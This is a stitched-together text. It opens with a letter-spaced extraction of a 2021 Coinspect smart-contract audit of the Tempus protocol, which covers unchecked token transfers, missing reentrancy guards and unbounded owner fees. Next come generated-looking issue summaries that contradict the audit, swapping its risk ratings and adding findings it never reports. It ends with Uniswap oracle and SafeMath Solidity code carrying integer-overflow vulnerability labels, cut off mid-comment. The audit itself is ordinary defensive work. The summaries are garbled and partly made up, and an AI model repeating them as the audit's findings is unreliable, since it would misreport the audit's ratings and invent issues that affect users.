e p o s i t e d i n t o p o o l c o n t r a c t s w i t h s p e c i fi c m a t u r i t y d a t e s . U s e r s c a n a l s o d e p o s i t t h e u n d e r l y i n g b a c k i n g t o k e n s ( B T ) d i r e c t l y i n t o T e m p u s , w h i c h w i l l i n t u r n d e p o s i t t h e f u n d s i n t h e i n t e g r a t e d D e F i p l a t f o r m s . T h e s e u s e r i n t e r a c t i o n s a r e h a n d l e d b y t h eTempusController c o n t r a c t . I n e x c h a n g e f o r t h e u s e r s ’ t o k e n s , T e m p u s m i n t s a n e q u a l n u m b e r o f P r i n c i p a l s a n d Y i e l d s . U s e r s c a n t r a d e t h e s e t o k e n s a g a i n s t e a c h o t h e r o n T e m p u s A M M . D e p e n d i n g o n t h e P r i n c i p a l / Y i e l d r a t i o a u s e r h o l d s , t h e e x p o s u r e t o t h e u n d e r l y i n g y i e l d c h a n g e s f o r t h e u s e r . F o r e x a m p l e , b y s e l l i n g a l l t h e Y i e l d s a n d h o l d i n g o n l y P r i n c i p a l s , u s e r s o b t a i n a fi x e d r a t e u n t i l t h e m a t u r i t y d a t e w h i c h i s s p e c i fi e d f o r e a c h p o o l o n T e m p u s . B y s e l l i n g a l l P r i n c i p a l s t o h o l d o n l y Y i e l d s , u s e r s a r e e x p o s e d t o t h e u n d e r l y i n g y i e l d o n a l e v e r a g e d b a s i s . T h e T e m p u s A M M i s t h e r e f o r e a v e h i c l e f o r u s e r s t o r e - a l l o c a t e t h e r i s k o f i n t e r e s t r a t e fl u c t u a t i o n s b e t w e e n e a c h o t h e r . U s e r s c a n a l s o u s e t h e s e P r i n c i p a l s a n d Y i e l d s o n T e m p u s t o p r o v i d e l i q u i d i t y t o t h e A M M a n d e a r n s o m e a d d i t i o n a l y i e l d . T h e a d d i t i o n a l y i e l d c o m e s f r o m t h e t r a n s a c t i o n f e e s t h a t a r e g e n e r a t e d w h e n t r a d e r s s w a p t h e P r i n c i p a l s f o r t h e Y i e l d s . A l l c o n t r a c t s a r e s p e c i fi e d t o b e c o m p i l e d w i t h S o l i d i t y v e r s i o n 0 . 8 . 6 , e x c e p t f o r t h e A M M c o m p o n e n t o n e s t h a t a r e b a s e d o n B a l a n c e r ’ s c o n t r a c t s . T h e p r o j e c t i n c l u d e s c o m p r e h e n s i v e u n i t t e s t s t a r g e t i n g t h e c o n t r a c t s f u n c t i o n a l i t y w i t h g o o d c o v e r a g e . I n a d d i t i o n , a l l c o n t r a c t s a r e c l e a r l y d o c u m e n t e d . © 2 0 2 1 C o i n s p e c t 4T h e s y s t e m i s f o r m e d b y t w o m a i n c o m p o n e n t s : T e m p u s P o o l s a n d T e m p u s A M M . T e m p u s P o o l s h a v e a fi x e d m a t u r i t y d u r a t i o n a n d r e c e i v e u s e r s ´ t o k e n s . T h e y a l l o w u s e r s t o r e d e e m t h e i r t o k e n s a f t e r t h e m a t u r i t y d a t e i s d u e . A l t e r n a t i v e l y , u s e r s c a n p e r f o r m a n e a r l y r e d e m p t i o n w i t h o u t p e n a l t i e s , b u t t h e y m u s t p r o v i d e t h e s a m e a m o u n t o f P r i n c i p a l a n d Y i e l d t o k e n s t o g e t b a c k t h e i r Y B T s . T h e T e m p u s A M M a l l o w s u s e r s t o s w a p P r i n c i p a l a n d Y i e l d t o k e n s . I t i s b a s e d o n C u r v e ’ s S t a b l e S w a p A M M ( w h i c h i s i n t e n d e d f o r s t a b l e c o i n s ) , b u t t o k e n b a l a n c e s a r e s c a l e d . T e m p u s i m p l e m e n t a t i o n i s b a s e d o n t h e B a l a n c e r v 2 s t a b l e p o o l c o n t r a c t l o c a t e d i n g i t h u b . c o m / b a l a n c e r - l a b s / b a l a n c e r - v 2 - m o n o r e p o / t r e e / m a s t e r / p k g / p o o l - s t a b l e . C o n t r a c t s i m p o r t e d f r o m B a l a n c e r b y t h e T e m p u s A M M ’ s c o n t r a c t s i m p l e m e n t c r i t i c a l f u n c t i o n a l i t y (BaseGeneralPool.sol, Vault.sol,Authorizer.sol, VaultAuthorization.sol, FlashLoans.sol, a n dSwaps.sol ) . T h e s e V a u l t r e l a t e d c o n t r a c t s h o l d t o k e n b a l a n c e s , p r o v i d e fl a s h l o a n s , a n d i m p l e m e n t t h e s w a p f u n c t i o n a l i t y . I n T e m p u s , t h e t o k e n s e x c h a n g e r a t e l o g i c w a s m o d i fi e d a n d i t i s a d j u s t e d d e p e n d i n g o n h o w c l o s e t h e m a t u r i t y d a t e o f t h e p o o l i s : w h e n t h e m a t u r i t y d a t e i s f a r a w a y , t h e r a t e i s c a l c u l a t e d b a s e d o n l i q u i d i t y , b u t w h e n t h e m a t u r i t y d a t e i s c l o s e , t h e e x p e c t e d p r i c e b a s e d o n p a s t y i e l d s i s u s e d . R e g a r d i n g s y s t e m p r i v i l e g e d r o l e s , i t i s w o r t h m e n t i o n i n g t h a t t h e TempusController o w n e r i s p e r m a n e n t a n d c a n n o t r e n o u n c e o w n e r s h i p . T h e s a m e i s t r u e f o rTempusPool s . T h eTempusPool o w n e r h a s t h e a b i l i t y t o a r b i t r a r i l y c h a n g e f e e s ( a p p l i e d d u r i n g u s e r d e p o s i t s a n d r e d e e m s ) f o r t h e p o o l . M o r e o v e r , t h e c o n t r a c t a l l o w s t h e o w n e r t o w i t h d r a w t h e a c c u m u l a t e d f e e s t o a n y a c c o u n t . O n t h e A M M c o m p o n e n t s i d e , r o l e - b a s e d a u t h e n t i c a t i o n i s u s e d . T h e T e m p u s A M M c o n t r a c t o w n e r h a s t h e a b i l i t y t o s t a r t a n d s t o p t h e a m p l i fi c a t i o n f a c t o r u p d a t e p r o c e d u r e , w h i c h a f f e c t s h o w a l l e x c h a n g e r a t e c a l c u l a t i o n s a r e p e r f o r m e d . T h i s a m p l i fi c a t i o n f a c t o r u p d a t e p r o c e d u r e i s t r i g g e r e d o f f - c h a i n a n d r e s u l t s i n t h i s p a r a m e t e r b e i n g s l o w l y u p d a t e d ( t h e m a x i m u m b e i n g d o u b l e t h e d a i l y r a t e ) o v e r a p e r i o d o f t i m e ( m i n i m u m o f o n e d a y ) , p r e v e n t i n g i t f r o m b e i n g m a n i p u l a t e d a b r u p t l y . © 2 0 2 1 C o i n s p e c t 5G e n e r a l r e c o m m e n d a t i o n s 1 . C u r r e n t l y , i f a u s e r t r a n s f e r s t o k e n s d i r e c t l y t o t h e c o n t r a c t i n s t e a d o f u s i n g t h e e x p e c t e d i n t e r f a c e ( e . g . , t h e d e p o s i t f u n c t i o n s ) , t h o s e t o k e n s w i l l b e a c c o u n t e d a s i f t r a n s f e r r e d b y t h e n e x t u s e r c a l l i n g t h e d e p o s i t f u n c t i o n s . I n o r d e r t o i m p r o v e f a i r n e s s , t h e p r o t o c o l c o u l d d i s t r i b u t e t h o s e f u n d s a m o n g a l l e x i s t i n g u s e r s ; o r c o u l d a c c u m u l a t e t h o s e f u n d s i n a s e p a r a t e c o n t r a c t i n o r d e r t o r e i m b u r s e t h e s e n d e r . A n o p p o r t u n i s t i c b o t c o u l d b e d e p l o y e d t o w a i t f o r f u n d s t o b e t r a n s f e r r e d t o t h e p o o l ( m a y b e i n d u c e d b y s o c i a l e n g i n e e r i n g ) a n d s t e a l t h e m . T e m p u s c o n s i d e r e d t h i s s u g g e s t i o n b u t b e c a u s e o f t h e c o m p l e x i t y o f i m p l e m e n t i n g t h i s s u g g e s t i o n a n d t h e u n l i k e l y e x p l o i t a t i o n s c e n a r i o , i t w a s d e c i d e d i t w a s n o t w o r t h i t . 2 . B e w a r e o f u t i l i z i n gtransfer a s a p r o t e c t i o n f r o m r e e n t r a n c y , a s o p c o d e c o s t s m a y c h a n g e i n t h e f u t u r e . I t i s n o t r e c o m m e n d e d t o r e l y o n o p c o d e g a s c o s t s , a s p r o t o c o l u p g r a d e s m i g h t r e n d e r t h e p r o t e c t i o n p r o v i d e d b y transfer a n dsend u s e l e s s ( a s i t a l m o s t h a p p e n e d w i t h E t h e r e u m C o n s t a n t i n o p l e u p d a t e a n d E I P 1 2 8 3 : C o n s t a n t i n o p l e e n a b l e s n e w R e e n t r a n c y A t t a c k | b y C h a i n S e c u r i t y | C h a i n S e c u r i t y ) . 3 . M a k e T e m p u s P o o l spausable i n o r d e r t o a l l o w a q u i c k r e a c t i o n i n c a s e o f a v u l n e r a b i l i t y i n o n e o f t h e p o o l s . N o t e t h eTempusAMM i spausable , e x c e p t t h e_exitExactBPTInForTokensOut f u n c t i o n , w h i c h c a n a l w a y s b e c a l l e d b y d e s i g n . 4 . C o n s t a n t l y m o n i t o r u p s t r e a m fi x e s t o t h e fi l e s i m p o r t e d f r o m B a l a n c e r r e p o s i t o r y . T h i s s h o u l d b e a c o n t i n u o u s p r o c e s s o n c e t h e c o n t r a c t s a r e d e p l o y e d . I t h a s h a p p e n e d b e f o r e t h a t a fi x ( s i l e n t a n d n o t s i l e n t a s w e l l ) i n a n u p s t r e a m p r o j e c t w a s i g n o r e d b y a p r o j e c t w h i c h e n d e d u p w i t h v u l n e r a b l e c o d e n o t b e i n g u p d a t e d . 5 . I m p l e m e n t a s t a l l e d p r i c e f e e d d e t e c t i o n m e c h a n i s m t o e n a b l e u s e r s t o r e a c t i f a C h a i n l i n k o r a c l e h a s n o t b e e n u p d a t e d i n a p e r i o d o f t i m e . A s t h e t e a m e x p l a i n e d t h i s i s n o t c o n s i d e r e d i m p o r t a n t a s o n l y v i e w m e t h o d s p r o v i d i n g s t a t s ( T V L ) f o r t h e f r o n t e n d u s e t h e p r i c e f e e d . H o w e v e r , s c e n a r i o s m u s t b e c o n s i d e r e d w h e r e o f f - c h a i n c o d e m i g h t c h o o s e t o t r u s t t h e f r o n t e n d a s t h e s o u r c e o f d a t a f o r c r i t i c a l d e c i s i o n m a k i n g p r o c e s s e s , a n d p r e s e n t i n g t h e m s t a l e d a t a w i t h o u t a w a r n i n g / fl a g t h a t a l l o w s t h e m t o k n o w t h i s d a t a m i g h t b e s t a l e c o u l d h a v e b a d c o n s e q u e n c e s . 6 . E v a l u a t e a n d r e m o v e a l l T O D O c o m m e n t s i n t h e s o u r c e c o d e . © 2 0 2 1 C o i n s p e c t 64 . S u m m a r y o f F i n d i n g s I d T i t l e T o t a l R i s k F i x e d T E M - 1 F u n c t i o n d e p o s i t m i n t s m o r e t o k e n s t h a n i t s h o u l d M e d i u m ✔ T E M - 2 L a c k o f r e e n t r a n c y p r o t e c t i o n m e c h a n i s m s M e d i u m ✔ T E M - 3 P o o l o w n e r c a n s e t a r b i t r a r y f e e s M e d i u m ✔ © 2 0 2 1 C o i n s p e c t 75 . D e t a i l e d F i n d i n g s T E M - 1Function deposit mints more tokens than it should T o t a l R i s k M e d i u m I m p a c t M e d i u m L o c a t i o nTempusPool.solTempusController.sol F i x e d ✔ L i k e l i h o o d M e d i u m D e s c r i p t i o n T h eTempusPool a n dTempusController c o n t r a c t s c o u l d b e a b u s e d t o m i n t m o r e t o k e n s t h a n t h e a m o u n t c o r r e s p o n d i n g t o t h e y i e l d - b e a r i n g o r b a c k i n g t o k e n s a c t u a l l y d e p o s i t e d . T h edeposit f u n c t i o n d o e s n o t v e r i f y i f t h e y i e l d b e a r i n g t o k e nsafeTransferFrom r e s u l t e d i n t h e e x p e c t e d a m o u n t b e i n g t r a n s f e r r e d . I n s t e a d , i f t h e c a l l d o e s n o t r e v e r t , i t t r u s t s t h e t o t a l a m o u n t w a s t r a n s f e r r e d . T h e t o t a lyieldTokenAmount i s a s s u m e d t o b e t r a n s f e r r e d a f t e r t h e t r a n s f e r a n d u s e d t o c a l c u l a t e t h e n u m b e r o f s h a r e s t o m i n t t o t h e d e p o s i t o r . T h e s a m e s c e n a r i o a p p l i e s t o t h edepositYieldToken a n ddepositBacking f u n c t i o n s i n t h eTempusController c o n t r a c t . T h e r e a r e t o k e n s t h a t t r a n s f e r l e s s t h a n t h e s p e c i fi e d a m o u n t . F o r e x a m p l e , t h e U S D T t o k e n ’ stransfer a n dtransferFrom f u n c t i o n s ( T e t h e r : U S D T S t a b l e c o i n | 0 x d a c 1 7 f 9 5 8 d 2 e e 5 2 3 a 2 2 0 6 2 0 6 9 9 4 5 9 7 c 1 3 d 8 3 1 e c 7 ) d e d u c t a f e e f o r e a c h © 2 0 2 1 C o i n s p e c t 8t r a n s f e r i f a f e e p e r c e n t a g e i s c o n fi g u r e d . W h i l e i t i s n o t c o n fi g u r e d t o t a k e f e e s r i g h t n o w , t h i s c o u l d c h a n g e i n t h e f u t u r e . S i m i l a r s c e n a r i o s a r e p o s s i b l e i n t h e f u t u r e d e p e n d i n g o n t h e E R C 2 0 y i e l d - b e a r i n g a n d b e a r i n g t o k e n s t h a t a r e a l l o w e d t o b e d e p o s i t e d i n T e m p u s P o o l s . F o r e x a m p l e s o f t h i s i s s u e b e i n g e x p l o i t e d i n p r o d u c t i o n , r e f e r t o : ● H a c k e r D r a i n s $ 5 0 0 K F r o m D e F i L i q u i d i t y P r o v i d e r B a l a n c e r ● I n c i d e n t w i t h n o n - s t a n d a r d E R C 2 0 d e fl a t i o n a r y t o k e n s | b y M i k e M c D o n a l d | B a l a n c e r P r o t o c o l T h e s e e x a m p l e s d e t a i l h o w t h i s v u l n e r a b i l i t y h a s b e e n e x p l o i t e d t o d r a i n f u n d s f r o m t h e B a l a n c e r c o n t r a c t s . R e c o m m e n d a t i o n I t i s a d v i s e d t o c h e c k t h e b a l a n c e o f t h e c o n t r a c t b e f o r e a n d a f t e r t h etransferFrom c a l l i s p e r f o r m e d i n o r d e r t o d e t e r m i n e t h e e x a c t a m o u n t t h a t w a s r e c e i v e d a n d t o b u l l e t p r o o f T e m p u s P o o l s f o r f u t u r e p r o t o c o l s a n d t o k e n i n t e g r a t i o n s . S ta tu s T h i s i s s u e w a s a d d r e s s e d b y t h e T e m p u s t e a m d u r i n g t h e e n g a g e m e n t i n h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 1 0 . T h i s i s s u e s h o u l d b e c l e a r l y d o c u m e n t e d f o r d e v e l o p e r s a n d r e v i e w e r s o f f u t u r e i n t e g r a t i o n s t o k e e p i n m i n d w h e n i n t e r a c t i n g w i t h e x t e r n a l c o n t r a c t s . © 2 0 2 1 C o i n s p e c t 9T E M - 2 L a c k o f r e e n t r a n c y p r o t e c t i o n m e c h a n i s m s T o t a l R i s k M e d i u m I m p a c t H i g h L o c a t i o nTempusController.sol F i x e d ✔ L i k e l i h o o d L o w D e s c r i p t i o n T e m p u s C o n t r o l l e r f u n c t i o n s h a v e n o p r o t e c t i o n a g a i n s t r e e n t r a n c y a t t a c k s . T h i s c o u l d a l l o w a t t a c k e r s t o a f f e c t t h e p r o t o c o l i n t e g r i t y b y e x p l o i t i n g c r o s s - f u n c t i o n r e e n t r a n c y . I t i s s t r o n g l y r e c o m m e n d e d t o p r e v e n t r e e n t r a n t c a l l s i n T e m p u s , w i t h o u t m a k i n g a s s u m p t i o n s a b o u t a n y o t h e r e x t e r n a l c o n t r a c t ' s a b i l i t y t o r e e n t e r T e m p u s . I n s e v e r a l f u n c t i o n s s u c h a s t h e e x t e r n a l f u n c t i o n sexitTempusAMMAndRedeem a n d completeExitAndRedeem , t h e c h e c k s - e f f e c t s - i n t e r a c t i o n s p a t t e r n i s n o t r e s p e c t e d . E v e n i f t h e c u r r e n t l y i n t e g r a t e d p r o t o c o l s m i g h t n o t a l l o w a t t a c k e r s t o r e e n t e r t h e c o n t r a c t r i g h t n o w , t h i s s e c u r i t y r e l e v a n t a s s u m p t i o n c o u l d c h a n g e i n t h e f u t u r e . F o r e x a m p l e , t h e t w o f o l l o w i n g s c e n a r i o s a r e p o s s i b l e : a . N e w p r o t o c o l i n t e g r a t i o n s t h a t r e l y o n t o k e n s t h a t i n c l u d e c a l l b a c k f u n c t i o n s f o r t r a n s f e r s ( E R C 7 7 1 , E R C 7 2 1 , o t h e r c u s t o m t o k e n s ) a r e a d d e d t o T e m p u s . b . O n e o f t h e e x i s t i n g i n t e g r a t i o n s u p g r a d e s i t s c o n t r a c t s a n d c a l l b a c k f u n c t i o n s a r e i n t r o d u c e d T h i s s c e n a r i o w a s t h e e x a c t c a u s e f o r t h e r e c e n t C R E A M p r o t o c o l e x p l o i t t h a t r e s u l t e d i n l o s t f u n d s w h e n t h e A M P t o k e n w a s i n t e g r a t e d : “ The AMP token contract implements ERC777, which has the _callPostTransferHooks hook that triggers tokensReceived() function that was implemented by the recipient. ” a s d e t a i l e d i n C R E A M F i n a n c e P o s t M o r t e m : A M P E x p l o i t | b y C R E A M | C R E A M F i n a n c e | A u g , 2 0 2 1 . © 2 0 2 1 C o i n s p e c t 1 0R e c o m m e n d a t i o n C o i n s p e c t r e c o m m e n d s t h a t a l l u s e r i n t e r a c t i o n s t r i g g e r e d v i a p u b l i c a n d e x t e r n a l i n t e r f a c e s t h a t l e a d t o a n e x t e r n a l c a l l ( i n c l u d i n g t o k e n a n d E T H t r a n s f e r s ) b e p r o t e c t e d f r o m r e e n t r a n c y b y t h e u t i l i z a t i o n o f a r e e n t r a n c y g u a r d . F o r e x a m p l e , O p e n Z e p p e l i n C o n t r a c t s p r o v i d e sReentrancyGuard a n d t h enonReentrant m o d i fi e r t h a t c a n b e u s e d t o p r e v e n t n e s t e d f u n c t i o n c a l l s . S ta tu s T h i s i s s u e w a s a d d r e s s e d b y t h e T e m p u s t e a m i n t h e f o l l o w i n g P R s : ● h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 2 3 ● h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 2 4 © 2 0 2 1 C o i n s p e c t 1 1T E M - 3Pool owner can set arbitrary fees T o t a l R i s k M e d i u m I m p a c t H i g h L o c a t i o nTempusPool.sol F i x e d ✔ L i k e l i h o o d L o w D e s c r i p t i o n T h e p o o l o w n e r s p o s s e s s t h e a b i l i t y t o u p d a t e f e e s a r b i t r a r i l y w i t h o u t c o n s t r a i n t s , a n d t h a t c o u l d b e a b u s e d t o h a r m u s e r s i f a n o w n e r ' s a c c o u n t i s c o m p r o m i s e d . A r o g u e p o o l o w n e r c o u l d f r o n t r u n u s e r s ' d e p o s i t s a n d r e d e e m s i n o r d e r t o s t e a l a l l t h e f u n d s b y s e t t i n g a 1 0 0 % f e e . T h i s i s a g g r a v a t e d b y t h e f a c t t h a t t h o s e f e e s c a n b e t r a n s f e r r e d t o a n y a c c o u n t w i t h t h etransferFees f u n c t i o n . R e c o m m e n d a t i o n C o n s i d e r r e s t r i c t i n g f e e u p d a t e s b y e n f o r c i n g a m a x i m u m f e e p e r c e n t a g e . T h i s w o u l d l i m i t t h e d a m a g e i n c a s e t h e p o o l o w n e r a c c o u n t i s c o m p r o m i s e d . A n o t h e r o p t i o n w o u l d b e t o i m p o s e a d e l a y f o r f e e u p d a t e s t o t a k e e f f e c t . C o n s i d e r o n l y a l l o w i n g f e e s t o b e w i t h d r a w n t o a s e p a r a t e a c c o u n t s o t h e a t t a c k e r m u s t c o n t r o l t w o d i f f e r e n t a c c o u n t s i n o r d e r t o s t e a l f u n d s b y r e s e t t i n g f e e s . S ta tu s T h i s i s s u e w a s a d d r e s s e d b y t h e T e m p u s t e a m i n t h e f o l l o w i n g P R s : ● h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 3 1 ● h t t p s : / / g i t h u b . c o m / t e m p u s - fi n a n c e / t e m p u s - p r o t o c o l / p u l l / 3 1 4 © 2 0 2 1 C o i n s p e c t 1 26 . D i s c l a i m e r T h e i n f o r m a t i o n p r e s e n t e d i n t h i s d o c u m e n t i s p r o v i d e d " a s i s " a n d w i t h o u t w a r r a n t y . T h e p r e s e n t s e c u r i t y a u d i t d o e s n o t c o v e r a n y o f f - c h a i n s y s t e m s o r f r o n t e n d s t h a t c o m m u n i c a t e w i t h t h e c o n t r a c t s , n o r t h e g e n e r a l o p e r a t i o n a l s e c u r i t y o f t h e o r g a n i z a t i o n t h a t d e v e l o p e d t h e c o d e . © 2 0 2 1 C o i n s p e c t 1 3
Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 3 Major: 0 Critical: 0 Minor Issues: N/A Moderate Issues: TEM-1: Function deposit mints more tokens than it should (high impact, low likelihood) Fix: Fixed TEM-2: Lack of reentrancy protection mechanisms (medium impact, low likelihood) Fix: Fixed TEM-3: Pool owner can set arbitrary fees (medium impact, low likelihood) Fix: Fixed Major Issues: N/A Critical Issues: N/A Observations: During October 2021, Coinspect verified that the issues reported had been correctly fixed by the Tempus team, and this report was updated to reflect that. Conclusion: No high-risk vulnerabilities that would result in stolen user funds were identified. However, two medium-risk issues (high impact, but low likelihood) were reported that could impact user funds if current security assumptions change in the future. Additionally, several recommendations are provided with the goal of further increasing the security of the platform. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the code (line 5 of ./TempusController.sol) 2.b Fix: Remove the unused variables from the code (line 5 of ./TempusController.sol) Observations: No major or critical issues were found in the code. Conclusion: The code was found to be secure and free from major and critical issues. Minor issues were found and fixed. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unreviewed files imported from Balancer's repository (Code Reference: http://github.com/tempus-finance/tempus-protocol/pull/323) 2.b Fix: Review the files imported from Balancer's repository (Code Reference: http://github.com/tempus-finance/tempus-protocol/pull/323) Moderate: 3.a Problem: Unreviewed code from external dependencies (Code Reference: http://github.com/tempus-finance/tempus-protocol/pull/331) 3.b Fix: Review the code from external dependencies (Code Reference: http://github.com/tempus-finance/tempus-protocol/pull/331) Major: None Critical: None Observations: Tempus is an on-chain derivatives marketplace that allows users to optimize their existing exposure to variable yield according to their risk profile. It also enables users to deposit various yield-bearing tokens (
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); // SWC-Integer Overflow and Underflow: L102 return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; // SWC-Integer Overflow and Underflow: L110 require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); // SWC-Integer Overflow and Underflow: L119 return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual // SWC-Integer Overflow and Underflow: L158 price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual // SWC-Integer Overflow and Underflow: L161 price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an 